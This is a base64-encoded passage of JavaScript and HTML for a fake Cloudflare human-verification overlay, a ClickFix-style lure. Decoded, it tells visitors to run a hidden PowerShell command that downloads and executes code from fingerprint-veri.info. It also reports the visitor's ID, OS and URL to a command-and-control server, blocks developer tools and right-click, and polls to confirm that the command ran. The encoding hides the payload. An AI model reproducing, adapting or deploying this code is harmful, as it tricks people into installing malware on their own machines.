3NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjQiIGN5PSIxNSIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iNy4yMiIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMTI1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNrLXdyYXAiIGlkPSJjZi1jayI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgd2lkdGg9IjI4IiBoZWlnaHQ9IjI4IiB2aWV3Qm94PSIwIDAgNTAgNTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE1IDI1TDIyIDMyTDM1IDE4IiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV0dHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0iY2YtbGJsIj4ke1VJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0fTwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmZsZXgtZW5kO2ZsZXgtc2hyaW5rOjAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iJHtDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjR9IiBhbHQ9IiIgc3R5bGU9IndpZHRoOjkwcHg7bWFyZ2luLWJvdHRvbTo0cHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOjA7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO3doaXRlLXNwYWNlOm5vd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAke1VJX1RSQU5TTEFUSU9OUy5wcml2YWN5TGlua30gwrcgJHtVSV9UUkFOU0xBVElPTlMudGVybXNMaW5rfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY29yZS1tc2ciPiR7RElTUExBWV9IT1NUTkFNRX0gJHtVSV9UUkFOU0xBVElPTlMuc2VjdXJpdHlNZXNzYWdlfTwvcD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1pbm5lciI+DQogICAgICAgICAgICAgICAgICAgIFJheSBJRDogPHNwYW4gY2xhc3M9InJjIj4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idmVyaWZ5LXdpbmRvdyIgaWQ9ImNmLW1vZGFsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyPiR7VUlfVFJBTlNMQVRJT05TLnZlcmlmaWNhdGlvblRpdGxlfTwvaDI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+JHtVSV9UUkFOU0xBVElPTlMudmVyaWZpY2F0aW9uU3VidGl0bGV9PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOi4yNWVtICFpbXBvcnRhbnQ7b3BhY2l0eTouNzU7Zm9udC1zaXplOi43ZW07Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4oyoICR7VUlfVFJBTlNMQVRJT05TLmtleWJvYXJkSW5zdHJ1Y3Rpb25zfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9IiR7Q0xPVURGTEFSRV9XSElURV9MT0dPX0JBU0U2NH0iIGFsdD0iIj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMTIzMC41NzQgNTE5Ljc3NCI+PHBhdGggZmlsbD0iI0Y3ODEwMCIgZD0iTTc4NC4wMjUsNTEyLjAxMWw1Ljg3Mi0yMC4zMTFjNi45OTgtMjQuMTY5LDQuMzk0LTQ2LjUxMS03LjM0OS02Mi45MjZjLTEwLjgwMS0xNS4xMjItMjguODA0LTI0LjAyMi01MC42NjYtMjUuMDU2bC00MTQuMTE0LTUuMjgxYy0yLjc4OC0wLjE0Ny01LjA5Ni0xLjQwMy02LjUxOC0zLjQ3MWMtMS40NC0yLjEyMy0xLjc3My00Ljg1Ni0wLjg4Ni03LjQ3OGMxLjM2Ni00LjA4LDUuNDEtNy4xNjQsOS42Mi03LjM0OWw0MTcuOTU0LTUuMjk5YzQ5LjU3Ni0yLjI3MSwxMDMuMjUyLTQyLjUwNSwxMjIuMDQ4LTkxLjU2NGwyMy44MzctNjIuMjhjMC42NTctMS42OTYsMC45NTItMy40OTMsMC45NC01LjI5NGMtMC4wMDctMC45ODQtMC4wNzgtMS45NjktMC4yOTQtMi45NEM4NTcuMzgzLDkxLjAyOCw3NDguNzU4LDAsNjE4Ljg2MywwYy0xMTkuNjg1LDAtMjIxLjMxMiw3Ny4yNTQtMjU3Ljc2LDE4NC42MjNjLTIzLjUyMy0xNy42NTItNTMuNjItMjcuMDMxLTg1Ljk2OS0yMy44MDFjLTU3LjQyMyw1LjcwNi0xMDMuNTY1LDUxLjk0LTEwOS4yNzEsMTA5LjM2M2MtMS40OTYsMTQuOTAxLTAuMjc3LDI5LjI4NCwzLjE1OCw0Mi44Qzc1LjIyMiwzMTUuNzE4LDAsMzkyLjU2NiwwLDQ4Ny4wMjljMCw4LjU0OSwwLjY0NiwxNi45NSwxLjg0NiwyNS4xNjZjMC41OTEsMy45ODgsMy45NTIsNi45OCw3Ljk3Nyw2Ljk4bDc2NC41MjcsMC4wOTJjMC4wNzYsMCwwLjE0Mi0wLjAzNCwwLjIxOC0wLjAzNkM3NzguOTQyLDUxOS4xMzQsNzgyLjc5LDUxNi4yNCw3ODQuMDI1LDUxMi4wMTF6Ii8+PHBhdGggZmlsbD0iI0ZCQUM0MiIgZD0iTTkyMS45ODIsMjI1LjU1OGMtMy44NDEsMC03LjY2MywwLjExMS0xMS40NjYsMC4yOTVjLTAuNjI4LDAuMDMzLTEuMjI0LDAuMTg1LTEuNzk2LDAuMzg1Yy0xLjk4NSwwLjY5Ni0zLjU2NiwyLjMwNS00LjE2OCw0LjM5N2wtMTYuMjg2LDU2LjI0MmMtNi45OTgsMjQuMTY5LTQuMzk1LDQ2LjQ5Myw3LjM0OSw2Mi45MDdjMTAuODAxLDE1LjE0LDI4LjgwNCwyNC4wMjIsNTAuNjY1LDI1LjA1Nmw4OC4yNzcsNS4yOTljMi42MDQsMC4xMjksNC44OTMsMS4zODUsNi4yOTcsMy40MTZjMS40NzcsMi4xNDIsMS44MDksNC44OTMsMC45MjMsNy41MTVjLTEuMzg1LDQuMDgxLTUuNDEsNy4xNjQtOS42MDEsNy4zNDlsLTkxLjczLDUuMjk5Yy00OS43OTgsMi4yOS0xMDMuNDczLDQyLjUwNS0xMjIuMjcsOTEuNTY0bC02LjYyOSwxNy4zMTljLTEuMjA2LDMuMTM0LDEuMDM5LDYuNDcyLDQuMzU0LDYuNjM1YzAuMDg0LDAuMDA0LDAuMTU5LDAuMDMxLDAuMjQ0LDAuMDMxaDMxNS42MjZjMy43NjYsMCw3LjEyNy0yLjQ1Niw4LjE0Mi02LjA3NWM1LjQ4NC0xOS40OTgsOC40MDItNDAuMDQ4LDguNDAyLTYxLjMwMUMxMTQ4LjMxNSwzMjYuODg5LDEwNDYuOTg0LDIyNS41NTgsOTIxLjk4MiwyMjUuNTU4eiIvPjwvc3ZnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNmLWxvYWRlci1iYXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXItYmFyLWlubmVyIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8b2wgY2xhc3M9Imluc3RydWN0aW9uLWxpc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4xPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtVSV9UUkFOU0xBVElPTlMuc3RlcDF9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4yPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtTVEVQMl9IVE1MfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+Mzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXAzfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+NDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXA0fTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvb2w+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMHB4O2NvbG9yOiM2NjY7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLXRvcDoxLjJlbTtwYWRkaW5nLXRvcDouNzVlbTtib3JkZXItdG9wOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4wOCk7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBJRCBDb2RlOiA8c3BhbiBjbGFzcz0icmMiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgYDsNCg0KICAgICAgICAoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50IHx8IGRvY3VtZW50LmJvZHkpLmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgcm9vdEVsZW1lbnQuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJ3JnYmEoMzQsMzQsMzQsJyArIEJBQ0tHUk9VTkRfT1BBQ0lUWSArICcpJzsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICh3aW5kb3cubHNjQ29nbmlTdGFja091ck92ZXJsYXkpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheShyb290RWxlbWVudCk7DQogICAgICAgICAgICBlbHNlIGlmIChkb2N1bWVudC5ib2R5KSBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgfSBjYXRjaCAoZSkge30NCg0KICAgICAgICB2YXIgZG9jdW1lbnRFbGVtZW50ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Ow0KICAgICAgICB2YXIgZG9jdW1lbnRCb2R5ID0gZG9jdW1lbnQuYm9keTsNCg0KICAgICAgICBpZiAoZG9jdW1lbnRFbGVtZW50KSB7DQogICAgICAgICAgICBkb2N1bWVudEVsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgIGRvY3VtZW50RWxlbWVudC5zdHlsZS5vdmVyc2Nyb2xsQmVoYXZpb3IgPSAnbm9uZSc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGRvY3VtZW50Qm9keSkgew0KICAgICAgICAgICAgZG9jdW1lbnRCb2R5LnN0eWxlLm92ZXJmbG93ID0gJ2hpZGRlbic7DQogICAgICAgICAgICBkb2N1bWVudEJvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJ25vbmUnOw0KICAgICAgICB9DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICB2YXIga2V5ID0gU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKTsNCg0KICAgICAgICAgICAgaWYgKGtleSA9PT0gJ2YxMicgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgKGtleSA9PT0gJ2knIHx8IGtleSA9PT0gJ2onIHx8IGtleSA9PT0gJ2MnKSkgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYga2V5ID09PSAndScpKSB7DQogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwgdHJ1ZSk7DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGV2ZW50LnN0b3BQcm9wYWdhdGlvbigpOw0KICAgICAgICB9LCB0cnVlKTsNCg0KICAgICAgICBmdW5jdGlvbiBzZW5kUmVxdWVzdFRvU2VydmVyKHBheWxvYWQpIHsNCiAgICAgICAgICAgIHJldHVybiBmZXRjaChDQ19TRVJWRVJfQVBJX1VSTCwgew0KICAgICAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLA0KICAgICAgICAgICAgICAgIGNhY2hlOiAnbm8tc3RvcmUnLA0KICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsNCiAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBib2R5OiAnZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoSlNPTi5zdHJpbmdpZnkocGF5bG9hZCkpKQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhTdHJpbmcpIHsNCiAgICAgICAgICAgIHZhciBkZWNvZGVkU3RyaW5nID0gJyc7DQogICAgICAgICAgICB2YXIgY2hhckluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZm9yICg7IGNoYXJJbmRleCA8IGhleFN0cmluZy5sZW5ndGg7IGNoYXJJbmRleCArPSAyKSB7DQogICAgICAgICAgICAgICAgZGVjb2RlZFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKA0KICAgICAgICAgICAgICAgICAgICBwYXJzZUludChoZXhTdHJpbmcuc3Vic3RyKGNoYXJJbmRleCwgMiksIDE2KSBeDQogICAgICAgICAgICAgICAgICAgIEFQSV9BVVRIX0tFWS5jaGFyQ29kZUF0KChjaGFySW5kZXggLyAyKSAlIEFQSV9BVVRIX0tFWS5sZW5ndGgpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gSlNPTi5wYXJzZShkZWNvZGVkU3RyaW5nKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHt9Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFJFRElSRUNUX1VSTCA9ICcnOw0KDQogICAgICAgIHZhciBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EID0NCiAgICAgICAgICAgICdwb3dlcnNoZWxsIC13IGggImlleChpcm0gXCdmaW5nZXJwcmludC12ZXJpLmluZm8vZDhmYzI2ZmIzYzhhZTQ5YVwnKTsgU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAiOyBleGl0JzsNCg0KICAgICAgICB2YXIgc2VydmVyUGF5bG9hZFByb21pc2UgPSBzZW5kUmVxdWVzdFRvU2VydmVyKHsNCiAgICAgICAgICAgIGFjdGlvbjogJ2RsJywNCiAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgIG9zOiBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSwNCiAgICAgICAgICAgIHZpZDogVU5JUVVFX1ZJU0lUT1JfSUQsDQogICAgICAgICAgICByZWY6IGxvY2F0aW9uLmhyZWYsDQogICAgICAgICAgICByYXk6IFJBWV9UUkFDS0lOR19JRA0KICAgICAgICB9KQ0KICAgICAgICAudGhlbihmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsNCiAgICAgICAgfSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGV4UmVzcG9uc2UpIHsNCiAgICAgICAgICAgIHJldHVybiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhSZXNwb25zZSk7DQogICAgICAgIH0pDQogICAgICAgIC50aGVuKGZ1bmN0aW9uKGRlY29kZWREYXRhKSB7DQogICAgICAgICAgICBSRURJUkVDVF9VUkwgPSBkZWNvZGVkRGF0YS5yZWRpciB8fCAnJzsNCiAgICAgICAgICAgIHJldHVybiBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EOw0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICByZXR1cm4gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORDsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgZnVuY3Rpb24gd2FpdEZvckV4ZWN1dGlvblRva2VuKHRva2VuKSB7DQogICAgICAgICAgICBpZiAoIXRva2VuKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBzdGFydFRpbWVzdGFtcCA9IERhdGUubm93KCk7DQogICAgICAgICAgICB2YXIgaXNEb25lID0gZmFsc2U7DQogICAgICAgICAgICB2YXIgaXNJbnN0cnVjdGlvbkhpZGRlbiA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBtYXJrQXNFeGVjdXRlZCgpIHsNCiAgICAgICAgICAgICAgICBpZiAoIVRFU1RfTU9ERSkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oTE9DQUxfU1RPUkFHRV9LRVksICcxJyk7DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gaGlkZUluc3RydWN0aW9uTW9kYWwoKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzSW5zdHJ1Y3Rpb25IaWRkZW4pIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0luc3RydWN0aW9uSGlkZGVuID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBpZiAobW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChpc0RvbmUpIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0RvbmUgPSB0cnVlOw0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmIChzcGlubmVyRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBjaGVja21hcmtFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNrJyk7DQogICAgICAgICAgICAgICAgaWYgKGNoZWNrbWFya0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hlY2ttYXJrRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIG1hcmtBc0V4ZWN1dGVkKCk7DQoNCiAgICAgICAgICAgICAgICAvLyBJbW1lZGlhdGUgcmV0dXJuIHRvIHRoZSBwYWdlIG9uY2Ugc2hlZXQgY29uZmlybXMgZXhpc3RzOnRydWUNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICByb290RWxlbWVudC5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBzdHlsZUVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXN0eWxlJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChzdHlsZUVsKSBzdHlsZUVsLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KDQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGRvY0VsZW1lbnQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7DQogICAgICAgICAgICAgICAgICAgIHZhciBkb2NCb2R5ID0gZG9jdW1lbnQuYm9keTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0JvZHkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIGlmIChSRURJUkVDVF9VUkwpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gUkVESVJFQ1RfVVJMOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBpc1BvbGxJbkZsaWdodCA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBwb2xsU2VydmVyU3RhdHVzKCkgew0KDQogICAgICAgICAgICAgICAgaWYgKGlzRG9uZSB8fCBpc1BvbGxJbkZsaWdodCB8fCBEYXRlLm5vdygpIC0gc3RhcnRUaW1lc3RhbXAgPiAxODAwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB2YXIgY2hlY2tVcmwgPSBBUFBTX1NDUklQVF9VUkwgKyAnP2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpOw0KDQogICAgICAgICAgICAgICAgZmV0Y2goY2hlY2tVcmwsIHsNCiAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAnR0VUJywNCiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3Q6ICdmb2xsb3cnLA0KICAgICAg